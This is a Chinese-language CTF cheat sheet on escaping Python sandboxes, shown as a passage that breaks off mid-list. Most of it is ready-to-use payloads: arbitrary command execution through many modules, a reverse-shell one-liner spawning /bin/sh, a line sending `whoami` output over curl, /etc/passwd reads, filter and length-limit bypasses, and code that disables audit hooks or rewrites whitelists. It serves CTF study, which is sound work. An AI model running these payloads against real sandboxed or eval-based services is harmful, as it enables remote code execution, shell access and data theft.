Python沙箱逃逸是近几年CTF比赛中常出现的场景,之前经常遇到自己不会的知识点,于是便总结了一下,如有纰漏欢迎指正。
Python继承链
详情可见:Flask SSTI姿势与手法总结 Cheatsheet速查表
逃逸目标
命令执行
import
from os import system as __getattr__; from __main__ import sh
os
import os
# 执行shell命令不会返回shell的输出
os.system('whoami')
# 会产生返回值,可通过read()的方式读取返回值
os.popen("whoami").read()
commands
import commands
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("ls")
ctypes
import ctypes
ctypes.CDLL(None).system('ls /'.encode())
threading
import threading
import os
def func():
os.system('ls') # 在新的线程中执行命令
t = threading.Thread(target=func) # 创建一个新的线程
t.start() # 开始执行新的线程
__import__('threading').Thread(target=lambda: __import__('os').system('ls')).start()
subprocess
import subprocess
subprocess.call(command, shell=True)
subprocess.Popen(command, shell=True)
multiprocessing
import multiprocessing
multiprocessing.Process(target=lambda: __import__('os').system('curl localhost:9999/?a=`whoami`')).start()
_posixsubprocess
import os
import _posixsubprocess
_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)
__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False,False, None, None, None, -1, None, False)
pty
import pty
pty.spawn("ls")
timeit
import timeit
timeit.timeit("__import__('os').system('dir')",number=1)
platform
import platform
print platform.popen('dir').read()
importlib
import importlib
importlib.import_module('os').system('ls')
# Python3可以,Python2没有该函数
importlib.__import__('os').system('ls')
sys
import sys
sys.modules['os'].system('calc')
linecache
import linecache
linecache.os.system('ls')
builtins
exec("__import__('os').system('calc')")
eval('__import__("os").system("calc")')
execfile('exp.py')
# py2
execfile("E:\Python27\Lib\os.py")
system('calc')
exec(compile('__import__("os").system("calc")', '<string>', 'exec'))
反弹shell
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")
s=__import__('socket').socket(__import__('socket').AF_INET,__import__('socket').SOCK_STREAM);s.connect(("127.0.0.1",12345));[__import__('os').dup2(s.fileno(),i) for i in range(3)];__import__('pty').spawn("/bin/sh")
其他
bdb:bdb.os、cgi.sys
cgi:cgi.os、cgi.sys
读写文件
file 类
# Python2
file('test.txt').read()
#注意:该函数只存在于Python2,Python3不存在
open 函数
open('/etc/passwd').read()
__builtins__.open('/etc/passwd').read()
__import__("builtins").open('/etc/passwd').read()
codecs 模块
import codecs
codecs.open('test.txt').read()
get_data 函数
FileLoader 类
# _frozen_importlib_external.FileLoader.get_data(0,<filename>)
"".__class__.__bases__[0].__subclasses__()[91].get_data(0,"app.py")
相比于获取 __builtins__
再使用 open 去进行读取,使用 get_data 的 payload 更短.
linecache 模块
getlines 函数
>>> import linecache
>>> linecache.getlines('/etc/passwd')
>>> __import__("linecache").getlines('/etc/passwd')
getline 函数需要第二个参数指定行号
__import__("linecache").getline('/etc/passwd',1)
license 函数
__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass
枚举目录
os 模块
import os
os.listdir("/")
__import__('os').listdir('/')
glob 模块
import glob
glob.glob("f*")
__import__('glob').glob("f*")
获取函数信息
python 中的每一个函数对象都有一个 __code__
属性.这个__code__
属性就是上面的代码对象,存放了大量有关于该函数的信息.
假设上下文存在一个函数
def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
if some_input == var2:
return "THIS-IS-THE-FALG!"
else:
return "Nope"
__code__
属性包含了诸多子属性,这些子属性用于描述函数的字节码对象,下面是对这些属性的解释:
-
co_argcount
: 函数的参数数量,不包括可变参数和关键字参数。 -
co_cellvars
: 函数内部使用的闭包变量的名称列表。 -
co_code
: 函数的字节码指令序列,以二进制形式表示。 -
co_consts
: 函数中使用的常量的元组,包括整数、浮点数、字符串等。 -
co_exceptiontable
: 异常处理表,用于描述函数中的异常处理。 -
co_filename
: 函数所在的文件名。 -
co_firstlineno
: 函数定义的第一行所在的行号。 -
co_flags
: 函数的标志位,表示函数的属性和特征,如是否有默认参数、是否是生成器函数等。 -
co_freevars
: 函数中使用的自由变量的名称列表,自由变量是在函数外部定义但在函数内部被引用的变量。 -
co_kwonlyargcount
: 函数的关键字参数数量。 -
co_lines
: 函数的源代码行列表。 -
co_linetable
: 函数的行号和字节码指令索引之间的映射表。 -
co_lnotab
: 表示行号和字节码指令索引之间的映射关系的字符串。 -
co_name
: 函数的名称。 -
co_names
: 函数中使用的全局变量的名称列表。 -
co_nlocals
: 函数中局部变量的数量。 -
co_positions
: 函数中与位置相关的变量(比如闭包中的自由变量)的名称列表。 -
co_posonlyargcount
: 函数的仅位置参数数量。 -
co_qualname
: 函数的限定名称,包含了函数所在的模块和类名。 -
co_stacksize
: 函数的堆栈大小,表示函数执行时所需的堆栈空间。 -
co_varnames
: 函数中局部变量的名称列表。
获取函数中的常量
可以使用 __code__.co_consts
这种方法获取常量.
>>> get_flag.__code__.co_consts
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')
获取变量名称
则可以使用如下的 payload 获取 get_flag 函数中的变量信息
__globals__
get_flag.__globals__
>>> get_flag.__code__.co_varnames
('some_input', 'var1', 'var2', 'var3')
获取函数字节码序列
get_flag 函数的 .__code__.co_code
, 可以获取到函数的字节码序列:
>>> get_flag.__code__.co_code
b'\x97\x00d\x01}\x01d\x02}\x02d\x03d\x04g\x02}\x03|\x00|\x02k\x02\x00\x00\x00\x00r\x02d\x05S\x00d\x06S\x00'
字节码并不包含源代码的完整信息,如变量名、注释等。但可以使用 dis 模块来反汇编字节码并获取大致的源代码.
>>> bytecode = get_flag.__code__.co_code
>>> dis.dis(bytecode)
0 RESUME 0
2 LOAD_CONST 1
4 STORE_FAST 1
6 LOAD_CONST 2
8 STORE_FAST 2
10 LOAD_CONST 3
12 LOAD_CONST 4
14 BUILD_LIST 2
16 STORE_FAST 3
18 LOAD_FAST 0
20 LOAD_FAST 2
22 COMPARE_OP 2 (==)
28 POP_JUMP_FORWARD_IF_FALSE 2 (to 34)
30 LOAD_CONST 5
32 RETURN_VALUE
>> 34 LOAD_CONST 6
36 RETURN_VALUE
虽然能获取但不太方便看,如果能够获取 __code__
对象,也可以通过 dis.disassemble 获取更清晰的表示.
>>> bytecode = get_flag.__code__
>>> dis.disassemble(bytecode)
1 0 RESUME 0
2 2 LOAD_CONST 1 (1)
4 STORE_FAST 1 (var1)
3 6 LOAD_CONST 2 ('secretcode')
8 STORE_FAST 2 (var2)
4 10 LOAD_CONST 3 ('some')
12 LOAD_CONST 4 ('array')
14 BUILD_LIST 2
16 STORE_FAST 3 (var3)
5 18 LOAD_FAST 0 (some_input)
20 LOAD_FAST 2 (var2)
22 COMPARE_OP 2 (==)
28 POP_JUMP_FORWARD_IF_FALSE 2 (to 34)
6 30 LOAD_CONST 5 ('THIS-IS-THE-FALG!')
32 RETURN_VALUE
8 >> 34 LOAD_CONST 6 ('Nope')
36 RETURN_VALUE
修改函数信息
使用types.CodeType进行修改
修改常量
先打印函数常量格式
oCode = src.__code__.co_consts
print(oCode)
然后修改常量控制函数参数
src.__code__= types.CodeType(oCode.co_argcount,
oCode.co_posonlyargcount,
oCode.co_kwonlyargcount,
oCode.co_nlocals,
oCode.co_stacksize,
oCode.co_flags,
oCode.co_code,
(None, '/flag', 'r', 'utf-8', ('encoding',))
oCode.co_names,
oCode.co_varnames,
oCode.co_filename,
oCode.co_name,
oCode.co_firstlineno,
oCode.co_lnotab,
oCode.co_freevars,
oCode.co_cellvars,)
修改函数字节码
执行输入的hex
from types import CodeType
def x():pass
x.__code__ = CodeType(0,0,0,0,0,0,bytes.fromhex(input(">>> ")[:176]),(),(),(),'Δ','♦','✉︎',0,bytes(),bytes(),(),())
a = x()
payload1
# From https://blog.neilhommes.xyz/docs/Writeups/2024/bctf.html#awpcode---hard
import dis
def assemble(ops):
cache = bytes([dis.opmap["CACHE"], 0])
ret = b""
for op, arg in ops:
opc = dis.opmap[op]
ret += bytes([opc, arg])
ret += cache * dis._inline_cache_entries[opc]
return ret
co_code = assemble(
[
("RESUME", 0),
("LOAD_CONST", 115),
("UNPACK_EX", 29),
("BUILD_TUPLE", 28),
("POP_TOP", 0),
("SWAP", 2),
("POP_TOP", 0),
("LOAD_CONST", 115),
("SWAP", 2),
("BINARY_SUBSCR", 0),
("COPY", 1),
("CALL", 0), # input
("LOAD_CONST", 115),
("UNPACK_EX", 21),
("BUILD_TUPLE", 20),
("POP_TOP", 0),
("SWAP", 2),
("POP_TOP", 0),
("LOAD_CONST", 115),
("SWAP", 2),
("BINARY_SUBSCR", 0),
("SWAP", 2),
("CALL", 0), # exec
("RETURN_VALUE", 0),
]
)
print(co_code.hex())
payload2
from pwn import *
from opcode import opmap
co_code = bytes([
opmap["KW_NAMES"], 0,
opmap["RESUME"], 0,
opmap["PUSH_NULL"], 0,
opmap["LOAD_FAST"], 82, # exec
opmap["LOAD_FAST"], 6, # my input
opmap["PRECALL"], 1,
opmap["CACHE"],
opmap["CACHE"],
opmap["CALL"], 1,
opmap["CACHE"],
opmap["CACHE"],
])
payload = co_code.ljust(176, b"B") # add padding util the input limit is reached
print(payload.hex().encode() + b" if __import__('os').system('cat /*') else 0")
LOAD_FAST
# Thanks to @splitline, https://blog.splitline.tw/hitcon-ctf-2022/#v-o-i-d-misc
# This is just an example
(lambda:0).__class__((lambda:0).__code__.replace(co_code=b'|\x17S\x00', co_argcount=0, co_nlocals=0, co_varnames=(
)), {})()["exec"]("import os;os.system('ls')")
获取环境信息
获取 python 版本
sys 模块
import sys
sys.version
platform 模块
import platform
platform.python_version()
获取 linux 版本
platform 模块
import platform
platform.uname()
获取路径
sys.path
sys.modules
沙箱逃逸
删除文件
打开文件后没有closecat /proc/*/fd/*
删除模块
del __builtins__.__dict__['eval']
reload
reload 函数可以重新加载模块
python3需要导入importlib
reload(__builtins__)
sys.modules
由于 import 导入模块时会检查 sys.modules 中是否已经有这个类,如果有则不加载,没有则加载.因此只需要将 os 模块删除,然后再次导入
sys.modules['os'] = 'not allowed'
del sys.modules['os']
import os
os.system('ls')
globals
globals() 中存放了 builtins 模块的索引
globals()["__builtins__"]['breakpoint']
继承链
>>> ().__class__.__base__.__subclasses__()[5]
<class 'bytes'>
# os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")
# subprocess
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen'][0]('ls')
# builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_GeneratorContextManagerBase" and "os" in x.__init__.__globals__ ][0]["__builtins__"]
# help
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_GeneratorContextManagerBase" and "os" in x.__init__.__globals__ ][0]["__builtins__"]['help']
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]['__builtins__']
#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")
#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")
#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
#imp
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
# ctypes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__('ctypes').CDLL(None).system('ls /'.encode())
# multiprocessing
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__('multiprocessing').Process(target=lambda: __import__('os').system('curl localhost:9999/?a=`whoami`')).start()
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__=="FileLoader" ][0].get_data(0,"/etc/passwd")
栈帧
生成器
通过生成器获取全局栈帧gi_code
: 生成器对应的code对象。gi_frame
: 生成器对应的frame(栈帧)对象。gi_running
: 生成器函数是否在执行。生成器函数在yield以后、执行yield的下一行代码前处于frozen状态,此时这个属性的值为0。gi_yieldfrom
:如果生成器正在从另一个生成器中 yield 值,则为该生成器对象的引用;否则为 None。gi_frame.f_locals
:一个字典,包含生成器当前帧的本地变量。
每当 Python 解释器执行一个函数或方法时,都会创建一个新的栈帧,用于存储该函数或方法的局部变量、参数、返回地址以及其他执行相关的信息。
栈帧包含了以下几个重要的属性:f_locals
: 一个字典,包含了函数或方法的局部变量。键是变量名,值是变量的值。f_globals
: 一个字典,包含了函数或方法所在模块的全局变量。键是全局变量名,值是变量的值。f_code
: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。f_lasti
: 整数,表示最后执行的字节码指令的索引。f_back
: 指向上一级调用栈帧的引用,用于构建调用栈。
通过f_back获取上一帧的变量从而逃逸
(sig:=help.__call__.__globals__["sys"].modules["_signal"],sig.signal(2, lambda *x: print(x[1])), sig.raise_signal(2))
a=(a.gi_frame.f_back.f_back for i in [1])
a=[x for x in a][0]
globals=a.f_back.f_back.f_globals
异步函数
通过异步函数获取该函数的局部栈帧
async def a():pass
a().cr_frame.f_globals
signal
(sig:=help.__call__.__globals__["sys"].modules["_signal"],sig.signal(2, lambda *x: print(x[1])), sig.raise_signal(2))
字符串匹配
list+dict
list(dict(v_a_r_s=True))[len([])][::len(list(dict(aa=()))[len([])])]
__import__(list(dict(b_i_n_a_s_c_i_i=1))[False][::len(list(dict(aa=()))[len([])])])
list(dict(a_2_b___b_a_s_e_6_4=1))[False][::len(list(dict(aa=()))[len([])])]
list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=True))[False]
unicode
http://shapecatcher.com/
Python 3 开始支持非ASCII字符的标识符。Python 在解析代码时,使用的 Unicode Normalization Form KC (NFKC) 规范化算法,这种算法可以将一些视觉上相似的 Unicode 字符统一为一个标准形式。
print(__name__)
过滤属性名
getattr
getattr(object, name[, default])
>>> getattr({},'__class__')
<class 'dict'>
>>> getattr(os,'system')
<built-in function system>
>>> getattr(os,'system')('cat /etc/passwd')
root:x:0:0:root:/root:/usr/bin/zsh
>>> getattr(os,'system111',os.system)('cat /etc/passwd')
root:x:0:0:root:/root:/usr/bin/zsh
__getattribute__
class MyClass:
def __getattribute__(self, name):
getattr 函数在调用时,实际上就是调用这个类的 __getattribute__
方法
>>> os.__getattribute__
<method-wrapper '__getattribute__' of module object at 0x7f06a9bf44f0>
>>> os.__getattribute__('system')
<built-in function system>
__getattr__
__getattr__
是 Python 的一个魔术方法,当尝试访问一个对象的不存在的属性时,它就会被调用。它允许一个对象动态地返回一个属性值,或者抛出一个 AttributeError
异常
class MyClass:
def __getattr__(self, name):
return 'You tried to get ' + name
__globals__
__globals__
可以用 func_globals 直接替换
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals
''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__("__glo"+"bals__")
基类
__mro__
、__bases__
、__base__
互换
''.__class__.__mro__[2]
[].__class__.__mro__[1]
{}.__class__.__mro__[1]
().__class__.__mro__[1]
[].__class__.__mro__[-1]
{}.__class__.__mro__[-1]
().__class__.__mro__[-1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
[].__class__.__base__
().__class__.__base__
{}.__class__.__base__
import
__import__
除了可以使用 import,还可以使用 __import__
和 importlib.import_module
来导入模块
importlib 需要进行导入后才能够使用
__import__('os')
importlib.import_module('os').system('ls')
__loader__
__loader__.load_module
底层实现与 import 不同, 可以绕过audithook
__loader__.load_module('os')
[]
调用方法来获取属性
列表方法
__getitem__
pop
list.__getitem__(0)
list.pop(0)
字典方法
__getitem__
pop
get
setdefault
dict.__getitem__('__builtins__')
dict.pop('__builtins__')
dict.get('__builtins__')
dict.setdefault('__builtins__')
''
str
>>> ().__class__.__new__
<built-in method __new__ of type object at 0x9597e0>
>>> str(().__class__.__new__)
'<built-in method __new__ of type object at 0x9597e0>'
>>> str(().__class__.__new__)[21]
'w'
>>> str(().__class__.__new__)[21]+str(().__class__.__new__)[13]+str(().__class__.__new__)[14]+str(().__class__.__new__)[40]+str(().__class__.__new__)[10]+str(().__class__.__new__)[3]
'whoami'
chr
>>> chr(56)
'8'
>>> chr(100)
'd'
list dict
list(dict(whoami=1))[0]
__doc__
__doc__
变量可以获取到类的说明信息,从其中索引出想要的字符然后进行拼接就可以得到字符串
().__doc__.find('s')
().__doc__[19]+().__doc__[86]+().__doc__[19]
bytes
接收一个 ascii 列表,然后转换为二进制字符串,再调用 decode 则可以得到字符串
bytes([115, 121, 115, 116, 101, 109]).decode()
+
构造字符串还可以使用 join 函数,初始的字符串可以通过 str() 进行获取.具体的字符串内容可以从 __doc__
中取
str().join(().__doc__[19],().__doc__[23])
数字
返回值
使用一些函数的返回值获取
0:int(bool([]))
、Flase
、len([])
、any(())
1:int(bool([""]))
、True
、all(())
、int(list(list(dict(a၁=())).pop()).pop())
其他数字通过运算获取
repr
>>> len(repr(True))
4
>>> len(repr(bytearray))
19
len list dict
避免出现运算符
0 -> len([])
2 -> len(list(dict(aa=()))[len([])])
3 -> len(list(dict(aaa=()))[len([])])
空格
使用括号替换
@print\r@set\r@open\r@input\rclass\x0ca:pass
运算符
== 可以用 in 来替换
or 可以用| + -a-b来替换
for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:
ans = i[0]==i[1] or i[2]==i[3]
print(bool(eval(f'{i[0]==i[1]} | {i[2]==i[3]}')) == ans)
print(bool(eval(f'- {i[0]==i[1]} - {i[2]==i[3]}')) == ans)
print(bool(eval(f'{i[0]==i[1]} + {i[2]==i[3]}')) == ans)
and 可以用& *替代
for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:
ans = i[0]==i[1] and i[2]==i[3]
print(bool(eval(f'{i[0]==i[1]} & {i[2]==i[3]}')) == ans)
print(bool(eval(f'{i[0]==i[1]} * {i[2]==i[3]}')) == ans)
()
装饰器
@
@exec
@input
def a():pass # or class a:pass
@print
@set
@open
@input
def a():pass # or class a:pass
@print\r@set\r@open\r@input\rclass\x0ca:pass
魔术方法
enum.EnumMeta.__getitem__
f字符串
f'{__import__("os").system("whoami")}'
反序列化绕过
builtins函数
eval list dict
>>> eval('str')
<class 'str'>
>>> eval('bool')
<class 'bool'>
>>> eval('st'+'r')
<class 'str'>
>>> eval(list(dict(s_t_r=1))[0][::2])
<class 'str'>
点号和逗号
-
内建函数可以使用
eval(list(dict(s_t_r=1))[0][::2])
这样的方式获取。 -
模块内的函数可以先使用
__import__
导入函数,然后使用 vars() 进行获取
>>> vars(__import__('binascii'))['a2b_base64']
<built-in function a2b_base64>
命名空间限制
python交互式解析器不能指定命名空间,可以脚本模拟
def repl():
global_namespace = {}
local_namespace = {}
while True:
try:
code = input('>>> ')
try:
# Try to eval the code first.
result = eval(code, global_namespace, local_namespace)
except SyntaxError:
# If a SyntaxError occurs, this might be because the user entered a statement,
# in which case we should use exec.
exec(code, global_namespace, local_namespace)
else:
print(result)
except EOFError:
break
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
repl()
限制部分模块
exec 函数的第二个参数可以指定命名空间
可以通过获取其他命名空间里的 __builtins__
绕过
__import__('types').__builtins__
__import__('string').__builtins__
清空builtins
使用Python继承链获取
长度限制
交互式
input
传入一个 input 打开一个新的输入流,然后再输入最终的 payload
sys.stdin.read()
注意输入完毕之后按 ctrl+d 结束输入
>>> eval(sys.stdin.read())
__import__('os').system('whoami')
kali
0
>>>
sys.stdin.readline()
>>> eval(sys.stdin.readline())
__import__('os').system('whoami')
sys.stdin.readlines()
>>> eval(sys.stdin.readlines()[0])
__import__('os').system('whoami')
在python 2中,input 函数从标准输入接收输入之后会自动 eval 求值。因此无需在前面加上 eval。但 raw_input 不会自动 eval。
breakpoint
pdb 模块定义了一个交互式源代码调试器,用于 Python 程序。它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试,可以在程序控制下调用。
在输入 breakpoint() 后可以代开 Pdb 代码调试器,在其中就可以执行任意 python 代码
help
help 函数可以打开帮助文档. 索引到 os 模块之后可以打开 sh
然后输入 os,此时会进入 os 的帮助文档。
help> os
然后在输入 !sh
就可以拿到 /bin/sh, 输入 !bash
则可以拿到 /bin/bash
Web
例如Flask,通过HTTP传入参数,与SSTI的打法类似
url_for.__globals__[request.args.a]
lipsum.__globals__.os[request.args.a]
多行限制
exec
exec 可以支持换行符与;
>>> eval("exec('__import__(\"os\")\\nprint(1)')")
1
compile
compile 在 single 模式下也同样可以使用 \n 进行换行, 在 exec 模式下可以直接执行多行代码
eval('''eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))''')
海象表达式
海象表达式是 Python 3.8 引入的一种新的语法特性,用于在表达式中同时进行赋值和比较操作
可以在
<expression> := <value> if <condition> else <value>
借助海象表达式,可以通过列表来替代多行代码:
eval('[a:=__import__("os"),b:=a.system("id")]')
变量覆盖
在 Python 中,sys 模块提供了许多与 Python 解释器和其环境交互的功能,包括对全局变量和函数的操作。在沙箱中获取 sys 模块就可以达到变量覆盖与函数擦篡改的目的.
sys.modules 存放了现有模块的引用, 通过访问 sys.modules['__main__']
就可以访问当当前模块定义的所有函数以及全局变量
除了通过 sys 模块来获取当前模块的变量以及函数外,还可以通过 __builtins__
篡改内置函数
gc
gc
模块主要的功能是提供一个接口供开发者直接与 Python 的垃圾回收机制进行交互
-
gc.collect(generation=2)
:这个函数会立即触发一次垃圾回收。你可以通过generation
参数指定要收集的代数。Python 的垃圾回收器是分代的,新创建的对象在第一代,经历过一次垃圾回收后仍然存活的对象会被移到下一代。 -
gc.get_objects()
:这个函数会返回当前被管理的所有对象的列表。 -
gc.get_referrers(*objs)
:这个函数会返回指向objs
中任何一个对象的对象列表。
for obj in gc.get_objects():
if '__name__' in dir(obj):
if '__main__' in obj.__name__:
print('Found module __main__')
mod_main = obj
if 'os' == obj.__name__:
print('Found module os')
mod_os = obj
mod_main.__exit = lambda x : print("[+] bypass")
一些版本会触发 gc.get_objects hook 导致无法成功
traceback
主动抛出异常, 并获取其后要执行的代码, 然后将__exit
进行替换
try:
raise Exception()
except Exception as e:
_, _, tb = sys.exc_info()
nxt_frame = tb.tb_frame
# Walk up stack frames until we find one which
# has a reference to the audit function
while nxt_frame:
if 'audit' in nxt_frame.f_globals:
break
nxt_frame = nxt_frame.f_back
# Neuter the __exit function
nxt_frame.f_globals['__exit'] = print
# Now we're free to call whatever we want
os.system('cat /flag*')
一些版本会触发object.__getattr__
hook
audit hook
Python 的审计事件包括一系列可能影响到 Python 程序运行安全性的重要操作。这些事件的种类及名称不同版本的 Python 解释器有所不同,且可能会随着 Python 解释器的更新而变动
-
import
:发生在导入模块时。 -
open
:发生在打开文件时。 -
write
:发生在写入文件时。 -
exec
:发生在执行Python代码时。 -
compile
:发生在编译Python代码时。 -
socket
:发生在创建或使用网络套接字时。 -
os.system
,os.popen
等:发生在执行操作系统命令时。 -
subprocess.Popen
,subprocess.run
等:发生在启动子进程时。
__loader__
__loader__
实际上指向的是 _frozen_importlib.BuiltinImporter
类,也可以通过别的方式进行获取
>>> ().__class__.__base__.__subclasses__()[84]
<class '_frozen_importlib.BuiltinImporter'>
>>> __loader__
<class '_frozen_importlib.BuiltinImporter'>
>>> ().__class__.__base__.__subclasses__()[84].__name__
'BuiltinImporter'
>>> [x for x in ().__class__.__base__.__subclasses__() if 'BuiltinImporter' in x.__name__][0]
<class '_frozen_importlib.BuiltinImporter'>
__loader__.load_module
也有一个缺点就是无法导入非内建模块
_posixsubprocess
_posixsubprocess
模块是 Python 的内部模块,提供了一个用于在 UNIX 平台上创建子进程的低级别接口。subprocess 模块的实现就用到了_posixsubprocess
.
该模块的核心功能是 fork_exec 函数,fork_exec 提供了一个非常底层的方式来创建一个新的子进程,并在这个新进程中执行一个指定的程序。但这个模块并没有在 Python 的标准库文档中列出,每个版本的 Python 可能有所差异.
3.11
def fork_exec(
__process_args: Sequence[StrOrBytesPath] | None,
__executable_list: Sequence[bytes],
__close_fds: bool,
__fds_to_keep: tuple[int, ...],
__cwd_obj: str,
__env_list: Sequence[bytes] | None,
__p2cread: int,
__p2cwrite: int,
__c2pred: int,
__c2pwrite: int,
__errread: int,
__errwrite: int,
__errpipe_read: int,
__errpipe_write: int,
__restore_signals: int,
__call_setsid: int,
__pgid_to_set: int,
__gid_object: SupportsIndex | None,
__groups_list: list[int] | None,
__uid_object: SupportsIndex | None,
__child_umask: int,
__preexec_fn: Callable[[], None],
__allow_vfork: bool,
) -> int: ...
-
__process_args
: 传递给新进程的命令行参数,通常为程序路径及其参数的列表。 -
__executable_list
: 可执行程序路径的列表。 -
__close_fds
: 如果设置为True,则在新进程中关闭所有的文件描述符。 -
__fds_to_keep
: 一个元组,表示在新进程中需要保持打开的文件描述符的列表。 -
__cwd_obj
: 新进程的工作目录。 -
__env_list
: 环境变量列表,它是键和值的序列,例如:["PATH=/usr/bin", "HOME=/home/user"]
。 -
__p2cread, __p2cwrite, __c2pred, __c2pwrite, __errread, __errwrite
: 这些是文件描述符,用于在父子进程间进行通信。 -
__errpipe_read, __errpipe_write
: 这两个文件描述符用于父子进程间的错误通信。 -
__restore_signals
: 如果设置为1,则在新创建的子进程中恢复默认的信号处理。 -
__call_setsid
: 如果设置为1,则在新进程中创建新的会话。 -
__pgid_to_set
: 设置新进程的进程组 ID。 -
__gid_object, __groups_list, __uid_object
: 这些参数用于设置新进程的用户ID 和组 ID。 -
__child_umask
: 设置新进程的 umask。 -
__preexec_fn
: 在新进程中执行的函数,它会在新进程的主体部分执行之前调用。 -
__allow_vfork
: 如果设置为True,则在可能的情况下使用 vfork 而不是 fork。vfork 是一个更高效的 fork,但是使用 vfork 可能会有一些问题 。
import os
import _posixsubprocess
_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)
__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False,False, None, None, None, -1, None, False)
篡改内置函数
修改白名单
WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})
__builtins__.set = lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']
exec("for k,v in enumerate(globals()['__builtins__']): print(k,v)")
exec("globals()['__builtins__']['set']=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('cat flag2.txt')")
不导入而获取模块
# 获取 sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"]
# 获取 os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"]
# 其他的 payload 也都不会触发
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")
AST沙箱
Python 的抽象语法树(AST,Abstract Syntax Tree)是一种用来表示 Python 源代码的树状结构。在这个树状结构中,每个节点都代表源代码中的一种结构,如一个函数调用、一个操作符、一个变量等。Python 的 ast 模块提供了一种机制来解析 Python 源代码并生成这样的抽象语法树。
-
ast.Module
: 表示一个整个的模块或者脚本。 -
ast.FunctionDef
: 表示一个函数定义。 -
ast.AsyncFunctionDef
: 表示一个异步函数定义。 -
ast.ClassDef
: 表示一个类定义。 -
ast.Return
: 表示一个return语句。 -
ast.Delete
: 表示一个del语句。 -
ast.Assign
: 表示一个赋值语句。 -
ast.AugAssign
